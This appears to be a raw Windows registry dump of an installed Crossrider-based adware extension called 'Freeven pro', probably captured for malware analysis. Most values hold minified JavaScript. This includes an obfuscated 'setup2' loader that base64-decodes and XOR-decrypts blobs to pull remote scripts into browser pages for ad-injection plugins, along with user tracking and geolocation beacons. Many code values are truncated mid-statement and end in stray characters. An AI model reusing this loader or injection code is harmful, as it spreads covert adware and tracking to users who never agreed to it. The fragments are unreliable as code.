[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Freeven pro\Manifest]
"ThanksUrl" = "NA"
"PublisherId" = "21636"

[HKCU\Software\Freeven pro\Plugins\1]
"Name" = "base"

[HKCU\Software\Freeven pro\Plugins\246]
"JavaScript" = "setup2=function(d,a){var b=function(i){var k=function(l){if(typeof l!==string||l.length===0){return;}return l.replace(/.|\n/g,function(m){return m.charCodeAt(0).toString(16);});};var j=function(l){return l.match(/.{1,2}/g);};var g=j(k(a));var h=g.length;var f=$jquery_171.map(j(i),function(l,m){return(parseInt(l,16)^parseInt(g[m%h],16));});return String.fromCharCode.apply(String,f);};var e=function(){var i=appAPI;var g=i.utils;var h=g.Base64;var f=h.decode;return b(f.call(h,d));};var c=function(){var f=appAPI.JSON.parse(e());try{appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[f.pluginId]=function(){appAPI.internal.monetization.addRemoteJS({httpUrl:(typeof f.httpUrl===string)?(f.httpUrl.replace(/__CROSSRIDER_SUB_ID__/g,appAPI.internal.monetization.getSubId()).replace(/__CROSSRIDER_APP_NAME__/g,encodeURIComponent(appAPI.appInfo.name)).replace(/__CROSSRIDERǐ5"

[HKCU\Software\Freeven pro\Plugins\17]
"Name" = "jQuery"

[HKCU\Software\Freeven pro\Plugins\38]
"Name" = "IECallbacks"

[HKCU\Software\Freeven pro\Plugins\37]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.browserEventCode=true;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;appAPI.internal.callbacks.setEventHandler(openURL,function(b){if(appAPI.isActiveTab()){var a={url:b.url,where:b.where,focus:(typeof b.focus===boolean?b.focus:true),height:(typeof b.height===number?b.height:750),width:(typeof b.width===number?b.width:750),top:(typeof b.top===number?b.top:100),left:(typeof b.left===number?b.left:100)};appAPI.openURL(a);}});appAPI.internal.callbacks.setEventHandler(runHelper,function(b){if(appAPI.isActiveTab()){var a=b;appA5"

[HKCU\Software\Freeven pro\Manifest]
"AddressbarURL" = "NA"

[HKCU\Software\Freeven pro\Plugins\93]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTQ2ZDZhNDYwMDBkMWUwYTNhMTcwMzQ1NTk0NDRhMTExZTBlMWY1ZjQwNDgxNDEzMWY1NzE5MGYxZjAwMWQwMTBhMTcwMDU3MDkxNTAyNGExODE0NGMxNzBlMjYwNzFiMDYwYjQxMGQxMDE0NTcxZDA2MDkwMDEwMWQwNDA2NTkwMDExMWMwMDAyMGMwNDEwNDUxMTFiMWMxODMzMGI1ODBlMDUwMDQyMmIyZDIzM2U1MjNhMzAyNDMxMmIzYjJhMzgzMzJiMjAzZDM4MzAzMTJhMjYyMzNlMzAzYTRkNGI2OTZkNGExMTFlMGUxZjE2M2ExNTBmNDY1MjU5NDgxMjFiMTExZjE0NTk0YjQ3MGUxZDBkNDExNjFhMTcwNjE2MGUxMDE5MTI0MTA2MDAwYTRjMTMxYjU2MTkxYzMwMDgwZTBlMGQ0YTAyMGExYTQ1MGIwOTFjMDgxNjE2MGIxYzU3MTIwNzEzMTUwYTBhMGYxZjVmMWYwOTBhMTcyNjAzNWUwNTBhMWE0YzM5M2IyYzJiNWEzYzNiMmIyYjI1MjkzYzM3MjYyMzI2MzYzNzJhM2YzODMwMmMyYjM4M2M0NjQ0NzM2MzU4MWYwOTFhMDAwYTBhMjExZDQ4NDA0ZjVjNWM0YjY5NDQ0ODU5NGE1ODE5MDAxZDEzMGEwNzA5MTU0ODQwNGYzZTRkMTQwYjBiMTgwOTAzMTQwODQ3MzI2ZDFl', 'ogcdhyjzoe'); }"

[HKCU\Software\Freeven pro\Plugins\22]
"Name" = "resources"

[HKCU\Software\Freeven pro\Plugins\72]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\14]
"JavaScript" = "if(typeof(appAPI)===undefined){appAPI={};}var CR__bIsIEWindow=false;if(typeof window!==undefined&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){CR__bIsIEWindow=/MSIE (\d \.\d );/.test(window.navigator.userAgent);}CR__bIsIEWindow=(CR__bIsIEWindow||(typeof appAPIinternal!==undefined));appAPI.JSON={};if(typeof JSON!==undefined&&!CR__bIsIEWindow){appAPI.JSON=JSON;}else{(function(){function f(n){return n
[HKCU\Software\Freeven pro\Plugins\1]
"JavaScript" = "appAPI._cr_config={appID:function(){var a=appAPI.appInfo;if(a){return appAPI.appInfo.id;}else{return appAPI.appID;}}};$jquery.extend(appAPI._cr_config,{sidebar:{base:{production:https://w9u6a2p6.ssl.hwcdn.net,staging:http://staging-app.crossrider.com},css:/plugins/stylesheets/sidebar.css,themes:/plugins/images/sidebar}});$jquery.extend(appAPI._cr_config,{notifications_manager:{base:{production:https://w9u6a2p6.ssl.hwcdn.net,staging:http://staging-app.crossrider.com},statsBase:{production:http://nstats.crossrider.com,staging:http://staging-app.crossrider.com},geolocation:http://www.geoplugin.net/json.gp?jsoncallback=fn,meta:/notifier/ appAPI._cr_config.appID() /meta.json,messages:/notifier/ appAPI._cr_config.appID() /{id}.json,logger:/notifications.gif,loggerAPI:/api_notifications.gif},notifications:{base:{production:https://w9u6a2p6.ssl.hwcdn.net,staging:http://staging-app.crossrider.com},css:/plugins/stylesheets/notifications.css,themes:/plugins/images/notifications}});a5"

[HKCU\Software\Freeven pro\Plugins\44]
"Name" = "IEMisc"

[HKCU\Software\Freeven pro\Plugins\183]
"Version" = "3"

[HKCU\Software\Freeven pro\Plugins\2]
"Version" = "2"

[HKCU\Software\Freeven pro\Manifest]
"ModeType" = "production"

[HKCU\Software\Freeven pro\Plugins\35]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\14]
"Name" = "CrossriderUtils"

[HKCU\Software\Freeven pro\Plugins\102]
"Name" = "dealply_m"

[HKCU\Software\Freeven pro\Manifest]
"UninstallerOfferUrl" = "NA"

[HKCU\Software\Freeven pro\Update]
"LastCheck" = "1427668149"

[HKCU\Software\Freeven pro\Plugins\177]
"Version" = "2"

[HKCU\Software\Freeven pro\Plugins\41]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(a){appAPI.isBackground=false;appAPI.tabId=a.getBhoInstanceId();appAPI.getTabId=function(){return appAPI.tabId;};appAPI.isActiveTab=function(){return appAPIinternal.isActiveTab();};appAPI.platform=""IE"";if(typeof appAPI.appInfo===""undefined""){appAPI.appInfo={};}var c=appAPI.internal.prefs.getChar(""fullVersionForUrl""

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Freeven pro\Plugins\64]
"JavaScript" = "(function(){var j=__CR_EMPTY_CHANNEL__;var d=function(e){return(typeof e===object&&e!==null);};var b=function(e){return(!!e&&typeof e===string);};var f=function(l){var e;if(typeof l===function){e=j;}else{if(d(l)&&b(l.channel)){e=l.channel;}else{e=j;}}return e;};var k=function(m,e){var l={wrapperMessage:{message:m,channel:f(e)},toIframes:d(e)?e.toIframes:e};return l;};var i=function(m,e){var l={message:m,channel:f(e)};return l;};var h=function(){var e={};e.addListener=appAPI.message.addListener;e.removeListener=appAPI.message.removeListener;e.toActiveTab=appAPI.message.toActiveTab;e.toAllOtherTabs=appAPI.message.toAllOtherTabs;e.toAllTabs=appAPI.message.toAllTabs;e.toBackground=appAPI.message.toBackground;e.toCurrentTabIframes=appAPI.message.toCurrentTabIframes;e.toCurrentTabWindow=appAPI.message.toCurrentTabWindow;e.toPopup=appAPI.message.toPopup;return e;};var a=function(e){appAPI.message.addListener=function(l,o){var n=null;var m;var p=f(l);if(typeof l===function){n=function(q){if(p===q.channel){5"

[HKCU\Software\Freeven pro\Plugins\46]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\91]
"JavaScript" = "(function(i){var l=05-04;if(!appAPI.isBackground&&appAPI.dom&&appAPI.dom.isIframe()){return;}var t=appAPI.utils.MD5;if(!t||!t.encode){t={};t.encode=function(H){return H;};}if(typeof appAPI.internal.monetization===undefined){appAPI.internal.monetization={};}var C=appAPI.utils;var F={DBNamespace:monetization_plugin_,RULS_JSON_NAMESPACE: rules_,MONETIZATION_PLUGINS_IDS:monetization_plugins_ids,IS_INSTALL_REPORTED:is_install_reported_,STATS_NAMESPACE:stats_,PLUGINS_VERSION:plugins_version_,GEO_URL:http://ipgeoapi.com/,BASE_DATE:new Date(2013,0,1),updateInterval:1000*60*60*6,rulesJsonHostUrl:http://app.clientstaticserv.com/monetization_campaigns/,statsHostUrl:http://logs.clientstaticserv.com/monetization.gif?,errorHostUrl:http://errors.clientstaticserv.com/monetization-error.gif?,countryName:,reportQueryString:,subID:000000000000000000,reportEvents:{installEventId:0,dailyEventId:1,vertical:2,runningPlugins:6,installVertical:13,impressionsEventId:31,newAllowedVertical:32,policyAppDefu5"

[HKCU\Software\Freeven pro\Plugins\4]
"JavaScript" = "var jQuery = $jquery_171 = $jquery = null;if (document && typeof document.getElementById !== undefined) {/*! jQuery v1.7.1 jquery.com | jquery.org/license */(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f().appendTo(b),e=d.css(display);d.remove();if(e===none||e===){cl||(cl=c.createElement(iframe),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===CSS1Compat?:) ),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,display),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(Microsoft.XMLHTTP)}catch(b){}}function ci(){try{return new a.XMLHtts5"

[HKCU\Software\Freeven pro\Manifest]
"PluginsManifestVersion" = "17"

[HKCU\Software\Freeven pro\Plugins\184]
"Version" = "9"

[HKCU\Software\Freeven pro\Plugins\37]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEBrowserEvents.js"

[HKCU\Software\Freeven pro\Plugins\72]
"JavaScript" = "if(appAPI.__should_activate_validation__===true){(function(){var e={WRONG_STRICT_VALUE:Parameter %PARAM_NAME% value is not supported.,WRONG_TYPE:Parameter %PARAM_NAME% is of wrong type. Valid types: [%VALID_TYPES%].,PARAM_IS_MANDATORY:Parameter %PARAM_NAME% is mandatory.,DB_VAL_TOO_LARGE:appAPI.db storage is limited to 1000 bytes per key. For larger values please use appAPI.db.async};var a=function(m){return m.charAt(0).toUpperCase() m.slice(1);};var h={};var b=appAPI.appInfo.name;var i=function(o,r,q,p){if(typeof p===undefined){p=;}var n=[ new Date().toDateString() new Date().toLocaleTimeString() ] b;var m=;if(typeof console!==undefined){if((q===e.DB_VAL_TOO_LARGE)&&(typeof console.warn===function)){console.warn(n m);}else{if(typeof console.error===function){console.error(n m);}else{if(typeof console.log===function){console.log(n m);}}}}return;};var l=function(p,n,o){var m=p5"

[HKCU\Software\Freeven pro\Plugins\93]
"Name" = "superfish_no_coupons_m"

[HKCU\Software\Freeven pro\Plugins\42]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEInternal.js"

[HKCU\Software\Freeven pro\Plugins\38]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IECallbacks.js"

[HKCU\Software\Freeven pro\Plugins\43]
"Name" = "IEMessaging"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\22]
"URL" = "http://js.clientstaticserv.com/plugins/mins/resources.js"

[HKCU\Software\Freeven pro\Plugins\37]
"Name" = "IEBrowserEvents"

[HKCU\Software\Freeven pro\Plugins\35]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEAjax.js"

[HKCU\Software\Freeven pro\Manifest]
"SetNewTab" = "false"

[HKCU\Software\Freeven pro\Plugins\207]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var d=$jquery_171;function c(f){return true;}function b(g,f){f=appAPI.utils.isFunction(f)?f:c;return d.map(g,function(h){return f(h)?h:null;});}function a(f){f.getList=(function(){var g=f.getList;return function(h){h=h||{};return b(g.call(f),h.predicate);};}());f.getKeys=(function(){var g=f.getKeys;return function(h){h=h||{};return b(g.call(f),h.predicate);};}());f.removeAll=(function(){var g=f.removeAll;return function(h){if(!appAPI.utils.isObject(h)){return g.call(f);}d.each(f.getList(h),function(j,k){f.remove(k.key);});};}());}function e(g){g.getList=(function(){var h=g.getList;return function(i){if(appAPI.utils.isFunction(i)){return h.call(g,i);}if(!appAPI.utils.isObject(i)||!appAPI.utils.isFunction(i.callback)){return;}h.call(g,function(j){i.callback(b(j,i.predicate));});};}());g.getKeys=(function(){var h=g.getKeys;return function(i){if(appAPI.utils.isFunction(i)){return h.call(g,i);}if(!appAPI.utils.isObject(i)||!appAPI.utils.isFunction(i.callbac15"

[HKCU\Software\Freeven pro\Manifest]
"Name" = "Freeven pro"

[HKCU\Software\Freeven pro\Plugins\94]
"Version" = "2"

[HKCU\Software\Freeven pro\Plugins\246]
"Version" = "9"

[HKCU\Software\Freeven pro\Plugins\3]
"Version" = "2"
"Name" = "ie8_fix_2"

[HKCU\Software\Freeven pro\Plugins\184]
"Name" = "noproblemppc_m"

[HKCU\Software\Freeven pro\Plugins\13]
"URL" = "http://js.clientstaticserv.com/plugins/mins/CrossriderAppUtils.js"

[HKLM\SOFTWARE\Freeven pro\IE]
"TotalProfiles" = "1"

[HKCU\Software\Freeven pro\Plugins\177]
"JavaScript" = "(function(){if(!(appAPI.isMatchPages&&appAPI.isMatchPages(*crossrider.com/extension_dashboard/dashboard.html))){return;}function o(p){return String(p).replace(//g,>);}function e(aR,aC){function aW(){while(aE.length&&(aE[aE.length-1]=== ||aE[aE.length-1]===aT)){aE.pop();}}function aq(p){return p===[EXPRESSION]||p===[INDENTED-EXPRESSION];}function af(p){return p.replace(/^\s\s*|\s\s*$/,);}function an(q){aQ.eat_next_space=false;if(ag&&aq(aQ.mode)){return;}q=typeof q===undefined?true:q;aQ.if_line=false;aW();if(!aE.length){return;}if(aE[aE.length-1]!==\n||!q){ac=true;aE.push(\n);}for(var p=0;p
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Freeven pro\Plugins\43]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEMessaging.js"

[HKCU\Software\Freeven pro\Plugins\38]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\182]
"Name" = "openUrl"

[HKCU\Software\Freeven pro\Plugins\44]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEMisc.js"

[HKCU\Software\Freeven pro\Code]
"NewTabJavaScript" = ""

[HKCU\Software\Freeven pro\Plugins\177]
"Name" = "crossriderDashboard"

[HKCU\Software\Freeven pro\Installer]
"Time" = "1427668122"

[HKCU\Software\Freeven pro\Plugins\93]
"Version" = "9"

[HKCU\Software\Freeven pro\Plugins\47]
"JavaScript" = "(function(){appAPI.ready=function(a){appAPI.resources.isReady(a);};}());var CrossRiderResourcesManager=(function(){var C={appId:(function(){var D=appAPI.appInfo;if(D){return appAPI.appInfo.id;}else{return appAPI.appID;}})(),url:{base:{production:http://resources.crossrider.com,staging:http://staging-app.crossrider.com},update:/apps/{appId}/resources/meta/{lastVersion}},env:appAPI.appInfo.environment===staging?staging:production,saveResource:appAPI.time.daysFromNow(90),nextCheck:360,DBNamespace:Resources_,isDebug:(appAPI.internal.debug.isDebugMode()&&appAPI.internal.db.get(debug_resources_path))},w=o(meta)||{},g=o(remote_resources)||{remoteId:0},t=o(queue)||{},B=o(lastVersion)||0,A,s;appAPI.resources={init:function(){if(C.isDebug){h();}else{l(function(D){if(D){k();}else{h();}});}},isReady:function(D){s=D;if(A){h();}},get:function(D){if(typeof jQuery!==undefined){D=jQuery.trim(D);}return b(D,string);},includeCSS:function(G,F){if(typeof jQuery!==undefined){G=jQuery.trim(G);}var E=b5"

[HKCU\Software\Freeven pro\Plugins\45]
"Name" = "IEOnRequest"

[HKCU\Software\Freeven pro\Plugins\223]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTE2NTY4NGIxMTBkMWIwMzNkMDMwNjRkNWI0OTViMTExYjA3MTg0YjQ1NDAwMjBkMTc1NzE5MWExYjEwMGUwYjRmMGExNjE0NDAwMDBiMDMwMzFmMTU0NjQ4NGQ1YTQ1NWY0NjU4NWE1NjVmNGM1NjFmMDEwZDFkMDUwZTA1NDcxMzBhNTAwMDFkMTMwMzBiNWMzNjI2M2EzZDNjM2IyMjM4MjYyNTJjMmIyNjNjMjYyYTJlMjMyYjNlMzY1YjU1NjU3YTRhMDEwNjFhMDYwMDE3MzAwYjUxNTI1MTU4NWQ1MjQ1NzM1OTRmNTM0ODUzMWMwYTEzMWQxMDFhMGUxZjRhNGI0YTM0NDMxYTExMTYxZjAzMDExZjBkNGQzYzYzMDQ=', 'joaiyyoshq'); }"

[HKCU\Software\Freeven pro\Plugins\41]
"Name" = "IEInfo"

[HKCU\Software\Freeven pro\Plugins\104]
"JavaScript" = "appAPI.internal.monetization = appAPI.internal.monetization || {};if (typeof appAPI.internal.monetization.plugins === undefined) { appAPI.internal.monetization.plugins = {}; }appAPI.internal.monetization.plugins[104] = function() { if (!appAPI.internal.monetization.shouldRunByVertical(104, [shopping])){ return; } var app_id='0'; var uid='0'; var app_name = ''; try{app_name = '&name=' encodeURIComponent(appAPI.appInfo.name);} catch(e) {app_name='';} try{app_id = appAPI.appInfo.id;}catch(err){} if (appAPI && appAPI.installer && appAPI.installer.getParams) { app_id = appAPI.installer.getParams().source_id; } if(appAPI && appAPI.installer && appAPI.installer.getUserId){uid=appAPI.installer.getUserId();} var token = appAPI.db.get(jw_token); if(token === '' || token===null || token === undefined){ var S4 = function() {return (((1 Math.random())*0x10000)|0).toString(16).substring(1);}; token=(S4() S4() - S4() - S4() - S4() - S4() S4() S4()); appAPI.db.set(jw_token,toke15"

[HKCU\Software\Freeven pro\Code]
"AppJavaScript" = ""

[HKCU\Software\Freeven pro\Plugins\46]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal===undefined){appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}}}appAPI.internal.callbacks.timersListeners={};appAPI.internal.callbacks.timersIsInterval={};appAPI.internal.callbacks.timer=function(b){var a=b.timerId;if(typeof a!==number){return;}if(typeof appAPI.internal.callbacks.timersListeners[a]===undefined){return;}var d=appAPI.internal.callbacks.timersListeners[a];if(!appAPI.internal.callbacks.timersIsInterval[a]){clearInterval(a);delete appAPI.internal.callbacks.timersListeners[a];delete appAPI.internal.callbacks.timersIsInterval[a];}try{d();}catch(c){console.error(setInterval/setTimeout - Caught an exception from user callback: (typeof c.message===string?c.message:???));}};(function(a){appAPI.setInterval=function(d,c,e){if((typeof d!==undefined)&&(typeof c===number)){var b=a.setIn5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Freeven pro\Plugins\28]
"Name" = "initializer"

[HKCU\Software\Freeven pro\Plugins\43]
"Version" = "5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Freeven pro\Manifest]
"UpdateInterval" = "360"

[HKCU\Software\Freeven pro\Plugins\64]
"URL" = "http://js.clientstaticserv.com/plugins/mins/appApiMessage.js"

[HKCU\Software\Freeven pro\Plugins\102]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWU3YTVhNDM0ODUxNGQwYTFjMDAxNTI1MDgwZjRhNGI0ZjQwMDAwMDExMDA0MDRjNDcxODQxMDExYTEwMTcxYTA5NGQwMTFmMDkwZDQ3MTcxNzE0MDg0YzAyMTAxOTAzMWIxNzE3MTkwYTE3NDYxYjFjNWQwYjFjMDQxZTE0MDYwNDRjMGMxMDBjMDYzYTJmMjUyMDNhM2UzYzMxM2EzZDIxMzUyODNjM2IyNDJkM2QyMTMwM2EyZjVjMDIxODAxM2IwYjFjMTgwMDRkMjUzYzJiMjMyMDMxM2IyNjJjMzQzZjMxMzczMDNmMzIzNzNhMjQzZDNmM2MzNzU3MDcwYjBjNDkzYTJmMzkzMTI3MjIzYzMwMjEzMDIwMjIyNTM2M2IzNDNkM2QyMTMwM2EyZjU4NGY2MjUxNGY0MjQ4NTYwZDA0MGUxMzFiMjQxZDBlNGE0ZTQ1NTIxMjE3MWMwMTFjNTg0NzViMGMyZjE5MTEwYzAzMDUxMTM3MWQwYjE2MTU0ZDFjMWQxYzAxMGMxYTRiMTMxNTBlNDcxMjFkMDYxYTViMGYxMTBjMDIxYjEyMWQwYjE4MDA0YjFhMDk1YzBiMTkwZTBjMDYxMTA5NGQxOTExMGMwMzMwM2QzNzM3MzczZjI5MzAzYTM4MmIyNzNhMmIzNjI1MzgzYzIxMzUzMDNkNGUxNTE1MDAyZTBhMWMxZDBhNWYzNzJiMjYyMjM1MzAzYjIzMjYyNjJkMjYzYTMxMmEzMzM3M2YyZTJmMmQyYjNhNTYxMjBhMGM0YzMwM2QyYjI2MmEyMzI5MzEyMTM1MmEzMDM3MjEzNjM1MjgzYzIxMzUzMDNkNGE1ODZmNTA1YTQzNDg1MzFmMGUxZDEzMGMxZTMzMDc0YTRiNGY1MzU4NDY0OTdhNWE0MzQ4NTE0ZDE0MGQwNjExMTkxOTAyMDQ1MzU1NDIzMzU2MTYxODE1MTMxODE4MDE05"

[HKCU\Software\Freeven pro\Plugins\2]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie8_fix_1.js"

[HKCU\Software\Freeven pro\Plugins\223]
"Name" = "imonomy_m"

[HKCU\Software\Freeven pro\Plugins\39]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEDatabase.js"

[HKCU\Software\Freeven pro\Plugins\44]
"Version" = "6"

[HKCU\Software\Freeven pro\Plugins\223]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\184]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/noproblemppc_m.js"

[HKCU\Software\Freeven pro\Plugins\72]
"Name" = "appApiValidation"

[HKCU\Software\Freeven pro\Plugins\103]
"Name" = "intext_5_m"

[HKCU\Software\Freeven pro\Plugins\223]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/imonomy_m.js"

[HKCU\Software\Freeven pro\Plugins\104]
"URL" = "http://js.clientstaticserv.com/plugins/javascripts/monetization/geo/jollywallet_m.js"

[HKCU\Software\Freeven pro\Plugins\93]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/superfish_no_coupons_m.js"

[HKCU\Software\Freeven pro\Plugins\40]
"Name" = "IEExtension"

[HKCU\Software\Freeven pro\Plugins\38]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.callbacks.genericEvent=function(e){var d=e.eventContent;if(typeof d===undefined){return;}var a=e.eventName;if(typeof a===undefined){return;}if(typeof appAPI.internal.callbacks[a]===undefined){return;}if(typeof appAPI.internal.callbacks[a].handler!==undefined){var b=appAPI.internal.callbacks[a].handler(d);if(b){return;}}if(typeof appAPI.internal.callbacks[a].listeners===undefined){return;}for(var c in appAPI.internal.callbacks[a].listeners){appAPI.internal.callbacks[a].listeners[c](d,c);}};appAPI.internal.callbacks.addListener=function(b,a,c){if(typeof appAPI.internal.callbacks[b]===undefined){appAPI.internal.callbacks[b]={};appAPI.internal.callbacks[b].listeners={};appAPI.internal.callbacks[b].listenersAdditionalData={};appAPI.internal.callbacks[b].listenersIds=0;appAPI.internal.callbacks[b].numberO5"

[HKCU\Software\Crossrider]
"Bic" = "11992E1999324ACFB8E0C19B718E3265IE"

[HKCU\Software\Freeven pro\Plugins\17]
"URL" = "http://js.clientstaticserv.com/plugins/mins/jQuery.js"

[HKCU\Software\Freeven pro\Plugins\3]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie8_fix_2.js"

[HKCU\Software\Freeven pro\Manifest]
"DisableIe" = "true"

[HKCU\Software\Freeven pro\Plugins\21]
"URL" = "http://js.clientstaticserv.com/plugins/mins/debug.js"

[HKCU\Software\Freeven pro\Installer]
"CodeDownloadDomain" = "http://js.clientstaticserv.com"

[HKCU\Software\Freeven pro\Plugins\35]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(e){if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}function f(m){if(typeof m===object){return m;}if(typeof m!==string){return null;}m=m.replace(/\r\n/g,\n);if(m.lastIndexOf(\n) 1==m.length){m.replace(/(?:(?:^|\n)\s |\s (?:$|\n))/g,).replace(/\s /g, );}var n=m.split(\n);var l={};for(var k=0;k
[HKCU\Software\Freeven pro\Plugins\242]
"URL" = "http://js.clientstaticserv.com/plugins/mins/monetization/geo/price_gong_m.js"
"Version" = "3"

[HKCU\Software\Freeven pro\Plugins\3]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\Freeven pro\Plugins\182]
"URL" = "http://js.clientstaticserv.com/plugins/mins/openUrl.js"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Freeven pro\Plugins\40]
"URL" = "http://js.clientstaticserv.com/plugins/mins/ie/IEExtension.js"

[HKCU\Software\Freeven pro\Plugins\182]
"JavaScript" = "(function(){if(typeof $jquery_171===undefined){return;}var c={DUMMY_PAGE_URL:http://page.our-app.net/blank/resource.html};(function(){if(appAPI&&appAPI.internal&&appAPI.internal.hosts&&typeof appAPI.internal.hosts.dummyPageUrl===string&&appAPI.internal.hosts.dummyPageUrl.length>0){c.DUMMY_PAGE_URL=appAPI.internal.hosts.dummyPageUrl;}}());appAPI.openURL=(function(){var d=appAPI.openURL;var e=function(g){d({url:c.DUMMY_PAGE_URL ?appid= appAPI.appInfo.id &resourcepath= escape(g.resourcePath) &rnd= (new Date()).getTime(),where:g.where,focus:g.focus,focusTimer:g.focusTimer,left:g.left,top:g.top,height:g.height,width:g.width});};var f=function(g){if(!appAPI.utils.isObject(g)){return;}if(!appAPI.utils.isDefined(g.resourcePath)){d(g);return;}e(g);};return function(h,g){var i=h;try{if(appAPI.utils.isString(h)){d(h,g);return;}f(i);}catch(j){}};}());var a=function(){(function(){var f=document.createElement(link);f.type=image/x-icon;f.rel=shortcut icon;f.href=;document.getElementsByTagName(head)[0]e5"

[HKCU\Software\Freeven pro\Plugins\22]
"JavaScript" = "(function(a){appAPI.queueManager={queue:[],register:function(b){this.queue.push(b);}};appAPI.ready=function(c,b){a.when.apply(null,appAPI.queueManager.queue).then(function(){a.when(appAPI.initializerPlugin.isReady(b)).then(function(){new Function('if (typeof jQuery === undefined) { jQuery = $jquery_171; }(' appAPI.resources.parseIncludeJS(c.toString()) )($jquery_171))();});});};}($jquery_171));var CrossRiderResourcesManager=(function(z){var B={appId:appAPI._cr_config.appID(),url:appAPI._cr_config.resources,env:appAPI.appInfo.environment===staging?staging:production,saveResource:appAPI.time.daysFromNow(90),nextCheck:360,DBNamespace:Resources_,isDebug:appAPI.debugManager.isDebug()&&appAPI.debugManager.getResourcesPath(),isIE7:z.browser.msie&&z.browser.version*1==7},x=new z.Deferred(),h=K(meta)||{},D=K(remote_resources)||{remoteId:0},e=K(queue)||{},g=initialVersion=K(lastVersion)||0;return z.Class.extend({init:function(){appAPI.queueManager.register(x.promise());if(B.isDebug){x.resolve();}el5"

[HKCU\Software\Freeven pro\Plugins\78]
